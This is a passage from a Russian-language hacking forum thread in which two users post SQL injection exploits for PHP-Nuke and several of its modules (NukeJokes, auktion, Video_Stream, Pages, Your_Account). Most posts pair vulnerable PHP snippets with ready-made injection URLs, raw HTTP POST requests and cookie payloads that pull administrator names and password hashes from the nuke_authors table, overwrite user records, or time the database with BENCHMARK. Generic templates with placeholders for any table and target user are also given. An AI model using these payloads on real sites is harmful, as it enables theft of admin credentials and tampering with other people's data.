Referer: http://localhost/modules.php?name=NukeJokes&file=send&jokeid=1608
Cookie: TRACKID=7b45bd0b2a560da542a5eb4fc22512c6; lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
name=NukeJokes&file=send&func=send&jokeid=-1'/**/union select concat(aid,0x3a,pwd) from nuke_authors limit 0,1/*&sendername=aaa&senderemail=aaa%40mail.ru&toname=bbb&toemail=aaa%40mail.ru
Мы получим aid:hash администратора на указаное нами мыло

Уязвимость в файле: search.php
PHP код:
function search($q$cat){
 global 
$module_name$prefix$bgcolor1$bgcolor2$dbi$prefix;
include(
"header.php");
if(
$cat==0){
$cats " ";
}else{
$cats " cat=".$cat." AND ";
}

ModuleSearch();
...
  
$search sql_query("SELECT jokeid, author, date, name, cat, hits, ratings FROM ".$prefix."_jokes WHERE".$cats."(name LIKE '%$q%' OR joke LIKE '%$q%')"$dbi); 
Уязвимость в параметрах cat и q
Пример запроса:
Код:
/modules.php?name=NukeJokes&file=search&func=search&q=x&cat=7%0aunion+select+1,2,3,4,5,6,7%23
Уязвимость в файле: comments.php
PHP код:
function JokesAddCom($jokeid$author$comment){
   global 
$prefix$dbi$bgcolor1$module_name$bgcolor2;
    
$author FixQuotes(nl2br(filter_text($author)));
    
$comment FixQuotes(nl2br(filter_text($comment)));
   
sql_query("INSERT into ".$prefix."_jokes_comments VALUES(NULL, '$author' ,'$comment' , '$jokeid')"$dbi); 
в ф-ции, filter_text удаляются хтмл тэги, затем данные попадают в ф-цию FixQuotes
PHP код:
function FixQuotes ($what "") {
    while (
stristr($what"\\\\'")) {
        
$what str_replace("\\\\'","'",$what);
    }
    return 
$what;

Для чего здесь была использована эта ф-ция непонятно, при magic_quotes_gpc=off мы без труда можем внедрить наш sql код, для этого
выбираем любую шутку, жмем добавить комментарий, в куки кидаем:
Код:
author=aa',(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1),Существующий_ID)/*
в результате получим aid:hash админа
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:34   #6
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

PHP-NUKE module auktion 2.0

SQL-injections

В модуле отсутствует какая-либо защита от sql-inj, уязвимости присуствуют почти во всех файлах

Примеры запросов:
Код:
/modules.php?name=auktion&file=viewitem&item=4%0aunion+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20,21
/modules.php?name=auktion&file=catlist&catid=29'%0aunion+select+1,2,3,4,5,6,7%23
/modules.php?name=auktion&file=searchit&query='%0aunion+select+1,2,3,4,5,6,7/*
/modules.php?name=auktion&file=edititem&item=-3'%0aunion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%23
Код:
POST /modules.php?name=auktion&file=edititem HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/nuke81/modules.php?name=auktion&file=edititem&item=3
Cookie: lang=english; admin=YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6; user=MjphZG1pbjo5NmU3OTIxODk2NWViNzJjOTJhNTQ5ZGQ1YTMzMDExMjoxMDo6MDowOjA6MDo6NDA5Ng%3D%3D; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
name=auktion&file=update&item=3&desc=4',title=(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1)/*
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:36   #7
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.0 (SQL инъекция (UPDATE): Изменение данных в таблице users, Получение Активных XSS, Вывод информации из других таблиц)

Собственно уязвимость польностью аналогична предыдущей - причем всё тот же файл /modules/Your_Account/index.php.
Только на этот раз уязвимость в функции savetheme.

Уязвимый участок кода:

Код:
$db->sql_query("UPDATE ".$user_prefix."_users SET theme='$theme' WHERE user_id='$user_id'");
Переменная $theme не фильтруется (за исключением общей фильтрации всех переменных (но эту фильтрацию я уже обходил)).

Юзать так:

Код:
http://site/modules.php?name=Your_Account&op=savetheme&user_id=2&theme=1',user_website=version(%2F%2A%00%2A%2F%29+where+user_id=2--+
В результате на месте адреса сайта будет выведена версия БД.

В общем виде:

Код:
http://site/modules.php?name=Your_Account&op=savetheme&user_id=2&theme=[ВАШ!!! НОМЕР ПОЛЬЗОВАТЕЛЯ]',user_website=(select+[КОЛОНКА]+from+[ТАБЛИЦА]%2F%2A%00%2A%2F%29+where+user_id=[НОМЕР ПОЛЬЗОВАТЕЛЯ КОМУ ИЗМЕНИТЬ ДАННЫЕ]--+
http://site/modules.php?name=Your_Account&op=savetheme&user_id=2&theme=[ВАШ!!! НОМЕР ПОЛЬЗОВАТЕЛЯ]',[ПОЛЕ КУДА ВЫВЕСТИ ИНФУ]=(select+[КОЛОНКА]+from+[ТАБЛИЦА]%2F%2A%00%2A%2F%29+where+user_id=[НОМЕР ПОЛЬЗОВАТЕЛЯ КОМУ ИЗМЕНИТЬ ДАННЫЕ]--+


Собственно всё остальное в точности как в моём предыдущем посте.


* После перехода по такому линку редиректит на другую страницу, но это норм, т.к. выполнение запроса стоит до редиректа (да и в любом случае функция die() не применяется).
!!! Но после редиректа скрипт начнет орать "Illegal Operation" - повторяю не обращайте внимания, т.к. запрос выполниться до этого.
** Так же как и в случае с уязвимостью нужно быть авторизированным.
*** И точно также мейджик квотс должен быть = офф.

P.S. скачал версию 8.1 final оригинал которая - в ней все те же уязвимости.

2008 © Grey

Последний раз редактировалось Grey; 05.07.2010 в 00:42..
Grey вне форума   Ответить с цитированием
Старый 05.07.2010, 00:36   #8
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

PHP-NUKE module video stream <= 4.53

Уязвимость в файле: watch.php
PHP код:
$id $_GET['id'];
$request $_GET['request'];

if(
$id == "request") {
    
// Gets the data of request video **FOR ADMIN**
    
$result $db->sql_query("SELECT * FROM ".$prefix."_video_stream WHERE id='$request'");
    
$row $db->sql_fetchrow($result);
} else {
    
// Check if category is adult category and requires user to accept disclaimer or if required ofr the user to be registered
    
adultcategory($id);
    
// Add user point for veiwing video
    
userpointsVS(1);
    
// adds a view to the video
    
$result $db->sql_query("SELECT * FROM ".$prefix."_video_stream WHERE id='$id'");
    
$row $db->sql_fetchrow($result);
    
$v $row['views'];
    
$v++;
    
$result $db->sql_query("UPDATE ".$prefix."_video_stream SET views='$v' WHERE id='$id'");
    
// Gets the data of that video
    
$result $db->sql_query("SELECT * FROM ".$prefix."_video_stream WHERE id='$id'");
    
$row $db->sql_fetchrow($result);    

Как видим здесь присутствуют сразу несколько sql-inj
Примеры запросов:
Код:
/modules.php?name=Video_Stream&page=watch&id=11'%0aunion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23
/modules.php?name=Video_Stream&page=watch&id=request&request=11'%0aunion+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23
Уязвимость в файле: broken.php
PHP код:
    if($_POST['Submit']) {
        
OpenTable();
        
$usernameb $_POST['username'];
        
$user_emailb $_POST['user_email'];
        
$result $db->sql_query("INSERT INTO ".$prefix."_video_stream_broken (username, email, brokenvidid) VALUES('$usernameb', '$user_emailb', '$id') "); 
Пример запроса:
Код:
POST /phpnuke/modules.php?name=Video_Stream&page=broken&id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Video_Stream&page=broken&id=1&vidname=3
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
username=',if(1=1,BENCHMARK(1559911,MD5(NOW())),1),1)/*&user_email=ad%40a.ru&Submit=Submit
Уязвимость в файле: search.php
В этом модуле присуствуют сразу несколько sql-inj

Примеры запросов:
1. /phpnuke/modules.php?name=Video_Stream&page=search
в поле search:
Код:
44' union/**/select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16/*
2.
Код:
POST /phpnuke/modules.php?name=Video_Stream&page=search HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/phpnuke/modules.php?name=Video_Stream&page=search
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
PHPSESSID=1960d2f98b8657b6e5bdf140c2f8c8ec&orderby=0&categoryby=31' union/**/select 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16%23&sortvids=Sort
Уязвимость в файле: comment.php
PHP код:
$commenttopost $_POST['comment'];
                
// Check if no comment
                
if($commenttopost == "") {
                    die(
""._NOCOMMENTENT."");
                }
                
$date date("h:i A dS M Y");
    
                
$username $looker;
    
                
// Strips out HTML and Censored Words
                
filter_text($commenttopost'nohtml');
                
// **********************************
                
userpointsVS(2);
                
$result $db->sql_query("INSERT INTO ".$prefix."_video_stream_comments (vidid, user, date, comment) VALUES ('$id', '$username', '$date', '$EditedMessage') "); 
в куки кидаем:
Код:
id=СУЩЕСТВУЮЩИЙ_ID', 'admin', '12:02 AM 15th Dec 2008',(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1))/*
В результате получим комментарий содержащий aid:hash администратора
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:39   #9
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

PHP-NUKE module Pages 1.0

SQL-injections

Уязвимость в файле: index.php

В модуле отсутствует какая-либо защита от sql-inj, поэтому не вижу смысла приводить фрагменты уязвимого кода, уязвимы все параметры

Код:
/modules.php?name=Pages&pa=list_pag&cid=-2%0aunion+select+aid,pwd+from+nuke_authors%23
/modules.php?name=Pages&pa=showpage&pid=11'%0aunion+select+1,2,aid,pwd,5,6,7,8,9,0,11,12+from+nuke_authors%23
/modules.php?name=Pages&pa=list_pages_categories&cid=11'%0aunion+select+1,aid,pwd,4+from+nuke_authors%23
/modules.php?name=Pages&cid=11'%0aunion+select+1%23
/modules.php?name=Pages&pid=11'%0aunion+select%201,2%23
I-I00K вне форума   Ответить с цитированием
Старый 05.07.2010, 00:43   #10
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.0 (SQL инъекция (UPDATE): Изменение данных в таблице users, Получение Активных XSS, Вывод информации из других таблиц)

Опять тот же файл, функция ...savehome...

Код:
$db->sql_query("UPDATE ".$user_prefix."_users SET storynum='$storynum', ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast' WHERE user_id='$user_id'");
Особенно ничего уже добавить нечего - все как и в предыдущих случаях:

Код:
http://site/modules.php?name=Your_Account&op=savehome&user_id=2&storynum=1',user_website=database(%2F%2A%00%2A%2F%29+where+user_id=2--+
http://site/modules.php?name=Your_Account&op=savehome&user_id=2&storynum=[ВАШ!!! НОМЕР ПОЛЬЗОВАТЕЛЯ]',[ПОЛЕ КУДА ВЫВЕСТИ ИНФУ]=(select+[КОЛОНКА]+from+[ТАБЛИЦА]%2F%2A%00%2A%2F%29+where+user_id=[НОМЕР ПОЛЬЗОВАТЕЛЯ КОМУ ИЗМЕНИТЬ ДАННЫЕ]--+

*
После перехода по такому линку редиректит на другую страницу, но это норм, т.к. выполнение запроса стоит до редиректа (да и в любом случае функция die() не применяется).
** Так же как и в случае с уязвимостью нужно быть авторизированным.
*** И точно также мейджик квотс должен быть = офф.

2008 © Grey

Последний раз редактировалось Grey; 05.07.2010 в 00:51..
Grey вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot